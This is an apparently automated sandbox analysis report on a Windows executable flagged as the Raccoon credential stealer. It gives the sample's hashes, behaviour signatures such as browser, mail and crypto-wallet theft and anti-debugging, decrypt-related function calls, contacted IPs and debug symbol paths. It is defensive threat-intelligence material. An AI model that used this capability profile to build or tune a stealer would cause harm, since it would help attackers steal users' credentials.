Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
Analysis ID:	356541
MD5:	060bd14ae501d8dae94cc73672ab195b
SHA1:	e16be2044b73bfb717d92d13968eac473d64b8fc
SHA256:	757c6ccb2021bb12cb15fafcd4d748ef2d347ed4cb51076162563cbfe1ea01e0
Most interesting Screenshot:

Detection

Raccoon

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for submitted file

Yara detected Raccoon Stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

May check the online IP address of the machine

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Is looking for software installed on the system

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file contains strange resources

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe (PID: 7140 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe' MD5: 060BD14AE501D8DAE94CC73672AB195B)

WerFault.exe (PID: 976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 1984 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6312 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 908 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6692 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 880 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6456 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 952 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6408 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1200 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5664 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1340 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5472 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1316 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Virustotal: Detection: 39%			Perma Link
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	ReversingLabs: Detection: 45%

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140, type: MEMORY

Machine Learning detection for sample

Show sources

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Joe Sandbox ML: detected

Source: 15.2.WerFault.exe.4dd0000.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.2.WerFault.exe.4b00000.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 27.2.WerFault.exe.5af0000.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 34.2.WerFault.exe.5500000.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.2.WerFault.exe.53f0000.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 21.2.WerFault.exe.5080000.8.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.2.WerFault.exe.5890000.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.2.WerFault.exe.4980000.7.unpack	Avira: Label: TR/Patched.Ren.Gen

Cryptography:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004245C3 CryptAcquireContextA,CryptCreateHash,lstrlenW,CryptHashData,CryptGetHashParam,wsprintfW,lstrcatW,wsprintfW,lstrcatW,CryptDestroyHash,CryptReleaseContext,lstrlenW,CryptUnprotectData,LocalFree,	2_2_004245C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00424796 lstrlenW,lstrlenW,lstrlenW,CredEnumerateW,CryptUnprotectData,LocalFree,CredFree,	2_2_00424796
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040A7BA GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,	2_2_0040A7BA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040CBD7 wsprintfA,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	2_2_0040CBD7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040AEC3 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,LocalFree,	2_2_0040AEC3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040B8C4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wsprintfA,CryptUnprotectData,LocalFree,CryptUnprotectData,LocalFree,	2_2_0040B8C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0040A1F6 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,LocalAlloc,BCryptDecrypt,BCryptCloseAlgorithmProvider,BCryptDestroyKey,	2_2_0040A1F6

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Unpacked PE file: 2.2.SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe.400000.0.unpack

Uses 32bit PE files

Show sources

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Uses new MSVCR Dlls

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown	HTTPS traffic detected: 95.216.186.40:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.15:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.15:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.58:443 -> 192.168.2.6:49773 version: TLS 1.2

Binary contains paths to debug symbols

Show sources

Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.2.dr
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbB source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb) source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: ktmw32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb- source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb9 source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb?): source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb\t source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.2.dr
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000006.00000003.336559037.00000000009AF000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.387887625.0000000000A3D000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.413748907.0000000000DEC000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdba source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbS source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb9)< source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000006.00000003.342466709.0000000004BD2000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422145190.0000000002F72000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb? source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbn source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb. source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp
Source:	Binary string: bcrypt.pdb5 source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb} source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdbp{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbB{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb0K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdbs source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb# source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdbE source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdbs source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbtt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdblK0 source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdby source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.2.dr
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbs source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdbN source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb<K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbG source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\| source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.2.dr
Source:	Binary string: shlwapi.pdbP source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdb3)6 source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.2.dr
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbE source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb[ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdbH source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbGs source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbV source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
